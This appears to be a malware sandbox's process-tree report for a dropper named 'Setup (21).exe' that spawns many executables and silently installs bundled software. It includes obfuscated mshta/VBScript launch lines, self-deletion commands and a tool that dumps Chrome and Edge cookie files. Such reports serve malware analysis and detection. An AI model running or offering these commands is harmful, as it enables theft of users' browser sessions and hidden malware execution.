PID 664 wrote to memory of 1740	664	Setup (21).exe	m5AAsHonnYr_k4fnsg5QS8e8.exe
PID 664 wrote to memory of 1628	664	Setup (21).exe	ateIGlkSFUxfhk7NPmAS7Cs4.exe
PID 664 wrote to memory of 1628	664	Setup (21).exe	ateIGlkSFUxfhk7NPmAS7Cs4.exe
PID 664 wrote to memory of 1628	664	Setup (21).exe	ateIGlkSFUxfhk7NPmAS7Cs4.exe
PID 664 wrote to memory of 1628	664	Setup (21).exe	ateIGlkSFUxfhk7NPmAS7Cs4.exe
PID 664 wrote to memory of 1932	664	Setup (21).exe	KRqsGfuCfc26olJAOhfkgpZe.exe
PID 664 wrote to memory of 1932	664	Setup (21).exe	KRqsGfuCfc26olJAOhfkgpZe.exe
PID 664 wrote to memory of 1932	664	Setup (21).exe	KRqsGfuCfc26olJAOhfkgpZe.exe
PID 664 wrote to memory of 1932	664	Setup (21).exe	KRqsGfuCfc26olJAOhfkgpZe.exe
PID 664 wrote to memory of 2000	664	Setup (21).exe	53MCfXXtkfWsHza3CJBD6za1.exe
PID 664 wrote to memory of 2000	664	Setup (21).exe	53MCfXXtkfWsHza3CJBD6za1.exe
PID 664 wrote to memory of 2000	664	Setup (21).exe	53MCfXXtkfWsHza3CJBD6za1.exe
PID 664 wrote to memory of 2000	664	Setup (21).exe	53MCfXXtkfWsHza3CJBD6za1.exe
PID 664 wrote to memory of 1472	664	Setup (21).exe	9hL434R6RaggjkAEgK1YOktb.exe
PID 664 wrote to memory of 1472	664	Setup (21).exe	9hL434R6RaggjkAEgK1YOktb.exe
PID 664 wrote to memory of 1472	664	Setup (21).exe	9hL434R6RaggjkAEgK1YOktb.exe
PID 664 wrote to memory of 1472	664	Setup (21).exe	9hL434R6RaggjkAEgK1YOktb.exe
PID 664 wrote to memory of 524	664	Setup (21).exe	DMcUxiVhcYGanalEsN_oYz7h.exe
PID 664 wrote to memory of 524	664	Setup (21).exe	DMcUxiVhcYGanalEsN_oYz7h.exe
PID 664 wrote to memory of 524	664	Setup (21).exe	DMcUxiVhcYGanalEsN_oYz7h.exe
PID 664 wrote to memory of 524	664	Setup (21).exe	DMcUxiVhcYGanalEsN_oYz7h.exe
PID 664 wrote to memory of 1660	664	Setup (21).exe	1uzHmugvKAfyECtMSwtpeymi.exe
PID 664 wrote to memory of 1660	664	Setup (21).exe	1uzHmugvKAfyECtMSwtpeymi.exe
PID 664 wrote to memory of 1660	664	Setup (21).exe	1uzHmugvKAfyECtMSwtpeymi.exe
PID 664 wrote to memory of 1660	664	Setup (21).exe	1uzHmugvKAfyECtMSwtpeymi.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 112	664	Setup (21).exe	_9mXUxETzaTdEWiYij9i5Nec.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1604	664	Setup (21).exe	h6SnkxQsBB21Yzz1QEK5hAZl.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1816	664	Setup (21).exe	QLWouRTlTxb6fAroZ_myRvWb.exe
PID 664 wrote to memory of 1160	664	Setup (21).exe	726kYkRlMm6_bx_BSvyV6w45.exe
PID 664 wrote to memory of 1160	664	Setup (21).exe	726kYkRlMm6_bx_BSvyV6w45.exe
PID 664 wrote to memory of 1160	664	Setup (21).exe	726kYkRlMm6_bx_BSvyV6w45.exe

C:\Users\Admin\AppData\Local\Temp\Setup (21).exe
"C:\Users\Admin\AppData\Local\Temp\Setup (21).exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:664

C:\Users\Admin\Documents\LeNW19xoO5E82rP71JC3IA_X.exe
"C:\Users\Admin\Documents\LeNW19xoO5E82rP71JC3IA_X.exe"
2⤵
- Executes dropped EXE
PID:884

C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe
"C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1072

C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe
"C:\Users\Admin\Documents\zUaCuwbHmdHIgTdIpVnvQbsF.exe"
3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:1580

C:\Users\Admin\Documents\m5AAsHonnYr_k4fnsg5QS8e8.exe
"C:\Users\Admin\Documents\m5AAsHonnYr_k4fnsg5QS8e8.exe"
2⤵
- Executes dropped EXE
PID:1740

C:\Users\Admin\AppData\Roaming\6637670.exe
"C:\Users\Admin\AppData\Roaming\6637670.exe"
3⤵
PID:2956

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2956 -s 1816
4⤵
- Program crash
PID:1072

C:\Users\Admin\AppData\Roaming\4340493.exe
"C:\Users\Admin\AppData\Roaming\4340493.exe"
3⤵
PID:628

C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
4⤵
PID:2424

C:\Users\Admin\AppData\Roaming\2767373.exe
"C:\Users\Admin\AppData\Roaming\2767373.exe"
3⤵
PID:2996

C:\Users\Admin\AppData\Roaming\1198010.exe
"C:\Users\Admin\AppData\Roaming\1198010.exe"
3⤵
PID:2968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2968 -s 1692
4⤵
- Program crash
PID:2256

C:\Users\Admin\Documents\ateIGlkSFUxfhk7NPmAS7Cs4.exe
"C:\Users\Admin\Documents\ateIGlkSFUxfhk7NPmAS7Cs4.exe"
2⤵
- Executes dropped EXE
PID:1628

C:\Users\Admin\Documents\CWvg1ViW45mfD3cwPRmW8m3I.exe
"C:\Users\Admin\Documents\CWvg1ViW45mfD3cwPRmW8m3I.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:1732

C:\Users\Admin\AppData\Local\Temp\ssqq.exe
"C:\Users\Admin\AppData\Local\Temp\ssqq.exe"
3⤵
- Executes dropped EXE
PID:2284

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 464
4⤵
- Program crash
PID:2564

C:\Users\Admin\Documents\7mqvJq1GjKOuY6DApvMY5cDO.exe
"C:\Users\Admin\Documents\7mqvJq1GjKOuY6DApvMY5cDO.exe"
2⤵
- Executes dropped EXE
PID:1604

C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe
"C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe"
2⤵
- Executes dropped EXE
PID:1472

C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe
"C:\Users\Admin\Documents\9hL434R6RaggjkAEgK1YOktb.exe"
3⤵
PID:3028

C:\Users\Admin\Documents\53MCfXXtkfWsHza3CJBD6za1.exe
"C:\Users\Admin\Documents\53MCfXXtkfWsHza3CJBD6za1.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\GmDLVhzAuS.bat"
3⤵
PID:2368

C:\Windows\system32\chcp.com
chcp 65001
4⤵
PID:3060

C:\Windows\system32\w32tm.exe
w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
4⤵
PID:1992

C:\Windows\System32\WsmTxt\taskhost.exe
"C:\Windows\System32\WsmTxt\taskhost.exe"
4⤵
- Executes dropped EXE
PID:1752

C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe
"C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe"
2⤵
- Executes dropped EXE
PID:1932

C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe
"C:\Users\Admin\Documents\KRqsGfuCfc26olJAOhfkgpZe.exe" -q
3⤵
- Executes dropped EXE
PID:2700

C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe
"C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1660

C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe
C:\Users\Admin\Documents\1uzHmugvKAfyECtMSwtpeymi.exe
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2620

C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe
"C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:524

C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe
C:\Users\Admin\Documents\DMcUxiVhcYGanalEsN_oYz7h.exe
3⤵
- Executes dropped EXE
PID:2612

C:\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe
"C:\Users\Admin\Documents\_9mXUxETzaTdEWiYij9i5Nec.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:112

C:\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe
"C:\Users\Admin\Documents\h6SnkxQsBB21Yzz1QEK5hAZl.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1604

C:\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe
"C:\Users\Admin\Documents\QLWouRTlTxb6fAroZ_myRvWb.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1816

C:\Users\Admin\Documents\rjl250sECO384l6hekfWur37.exe
"C:\Users\Admin\Documents\rjl250sECO384l6hekfWur37.exe"
2⤵
- Executes dropped EXE
PID:984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "rjl250sECO384l6hekfWur37.exe" /f & erase "C:\Users\Admin\Documents\rjl250sECO384l6hekfWur37.exe" & exit
3⤵
PID:2308

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "rjl250sECO384l6hekfWur37.exe" /f
4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3028

C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe
"C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe"
2⤵
- Executes dropped EXE
PID:588

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
3⤵
PID:1608

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\FtkV5fLKp7PPNbivdMi7zn5u.exe") do taskkill -IM "%~nXW" -f
4⤵
PID:1740

C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
5⤵
PID:1692

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
6⤵
PID:1348

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
7⤵
PID:2528

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
6⤵
PID:2024

C:\Windows\SysWOW64\taskkill.exe
taskkill -IM "FtkV5fLKp7PPNbivdMi7zn5u.exe" -f
5⤵
- Kills process with taskkill
PID:664

C:\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe
"C:\Users\Admin\Documents\WMqvAlh8_pDtOF327ptRNKm2.exe"
2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:948

C:\Users\Admin\Documents\ZUCPOQw_nLiUk8J3mtU5QAcy.exe
"C:\Users\Admin\Documents\ZUCPOQw_nLiUk8J3mtU5QAcy.exe"
2⤵
- Executes dropped EXE
PID:968

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "ZUCPOQw_nLiUk8J3mtU5QAcy.exe" /f & erase "C:\Users\Admin\Documents\ZUCPOQw_nLiUk8J3mtU5QAcy.exe" & exit
3⤵
PID:1656

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "ZUCPOQw_nLiUk8J3mtU5QAcy.exe" /f
4⤵
- Kills process with taskkill
PID:2568

C:\Users\Admin\Documents\NzxsyYlysdBauX2Y436vSgO8.exe
"C:\Users\Admin\Documents\NzxsyYlysdBauX2Y436vSgO8.exe"
2⤵
- Executes dropped EXE
PID:1364

C:\Program Files (x86)\Company\NewProduct\customer3.exe
"C:\Program Files (x86)\Company\NewProduct\customer3.exe"
3⤵
PID:1864

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2788

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2612

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2856

C:\Users\Admin\AppData\Local\Temp\11111.exe
C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:956

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:1932

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:112

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2908

C:\Users\Admin\AppData\Local\Temp\22222.exe
C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
4⤵
PID:2360

C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
"C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
3⤵
PID:2164

C:\Program Files (x86)\Company\NewProduct\jooyu.exe
"C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
3⤵
PID:2452

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:2552

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:1520

C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
4⤵
PID:3216

C:\Users\Admin\Documents\Im20rYhq_aY1DxsHQOwFlu8h.exe
"C:\Users\Admin\Documents\Im20rYhq_aY1DxsHQOwFlu8h.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1520

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im Im20rYhq_aY1DxsHQOwFlu8h.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Im20rYhq_aY1DxsHQOwFlu8h.exe" & del C:\ProgramData\*.dll & exit
3⤵
PID:1944

C:\Windows\SysWOW64\taskkill.exe
taskkill /im Im20rYhq_aY1DxsHQOwFlu8h.exe /f
4⤵
- Kills process with taskkill
PID:2024

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
4⤵
- Delays execution with timeout.exe
PID:3008

C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe
"C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1160

C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe
"C:\Users\Admin\Documents\726kYkRlMm6_bx_BSvyV6w45.exe"
3⤵
PID:2860

C:\Users\Admin\Documents\yvGZFv2aEV37nOCIJhL3W5UZ.exe
"C:\Users\Admin\Documents\yvGZFv2aEV37nOCIJhL3W5UZ.exe"
2⤵
- Executes dropped EXE
PID:920

C:\Users\Admin\Documents\rpH8ZWtiSX9X6WNHh1WJ8UrL.exe
"C:\Users\Admin\Documents\rpH8ZWtiSX9X6WNHh1WJ8UrL.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1424

C:\Users\Admin\AppData\Local\Temp\is-JQ8MN.tmp\rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp
"C:\Users\Admin\AppData\Local\Temp\is-JQ8MN.tmp\rpH8ZWtiSX9X6WNHh1WJ8UrL.tmp" /SL5="$70022,138429,56832,C:\Users\Admin\Documents\rpH8ZWtiSX9X6WNHh1WJ8UrL.exe"
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2436

C:\Users\Admin\AppData\Local\Temp\is-IUQ96.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-IUQ96.tmp\Setup.exe" /Verysilent
4⤵
PID:1068

C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
5⤵
PID:188

C:\Users\Admin\AppData\Local\Temp\is-D8UFR.tmp\Stats.tmp
"C:\Users\Admin\AppData\Local\Temp\is-D8UFR.tmp\Stats.tmp" /SL5="$50196,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
6⤵
PID:1952

C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
5⤵
PID:1284

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:3800

C:\Windows\SysWOW64\taskkill.exe
taskkill /im runvd.exe /f
7⤵
- Kills process with taskkill
PID:2156

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:2088

C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
5⤵
PID:2736

C:\Users\Admin\AppData\Local\Temp\is-K0V1J.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-K0V1J.tmp\Inlog.tmp" /SL5="$30260,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
6⤵
PID:1476

C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
5⤵
PID:1112

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629548202 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
6⤵
PID:2648

C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
5⤵
PID:2392

C:\Users\Admin\AppData\Local\Temp\is-4655T.tmp\MediaBurner2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4655T.tmp\MediaBurner2.tmp" /SL5="$202FE,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
6⤵
PID:1748

C:\Users\Admin\AppData\Local\Temp\is-HG927.tmp\ultradumnibour.exe
"C:\Users\Admin\AppData\Local\Temp\is-HG927.tmp\ultradumnibour.exe" /S /UID=burnerch2
7⤵
PID:3144

C:\Program Files\Mozilla Firefox\VCVELSUSDT\ultramediaburner.exe
"C:\Program Files\Mozilla Firefox\VCVELSUSDT\ultramediaburner.exe" /VERYSILENT
8⤵
PID:3752

C:\Users\Admin\AppData\Local\Temp\is-49269.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-49269.tmp\ultramediaburner.tmp" /SL5="$30356,281924,62464,C:\Program Files\Mozilla Firefox\VCVELSUSDT\ultramediaburner.exe" /VERYSILENT
9⤵
PID:1232

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
10⤵
PID:1868

C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
5⤵
PID:2380

C:\Users\Admin\AppData\Local\Temp\is-IKPHI.tmp\VPN.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IKPHI.tmp\VPN.tmp" /SL5="$1031A,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
6⤵
PID:2764

C:\Users\Admin\AppData\Local\Temp\is-LD0IK.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-LD0IK.tmp\Setup.exe" /silent /subid=720
7⤵
PID:1444

C:\Users\Admin\AppData\Local\Temp\is-J8FFO.tmp\Setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-J8FFO.tmp\Setup.tmp" /SL5="$601B4,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-LD0IK.tmp\Setup.exe" /silent /subid=720
8⤵
PID:2856

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
9⤵
PID:700

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe remove tap0901
10⤵
PID:3912

C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
5⤵
PID:2344

C:\Users\Admin\AppData\Local\Temp\is-M01AB.tmp\WEATHER Manager.tmp
"C:\Users\Admin\AppData\Local\Temp\is-M01AB.tmp\WEATHER Manager.tmp" /SL5="$10314,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
6⤵
PID:912

C:\Users\Admin\AppData\Local\Temp\is-SPIS9.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-SPIS9.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
7⤵
PID:3120

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
5⤵
PID:2888

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
6⤵
PID:2464

C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
5⤵
PID:1852

C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
5⤵
PID:2512

C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe
"C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe"
6⤵
PID:3360

C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe
C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe
7⤵
PID:3328

C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe
"C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe"
6⤵
PID:3392

C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe
"C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe"
7⤵
PID:3908

C:\Users\Admin\Documents\swZnitNdAEh3GQJk3lP8NqNy.exe
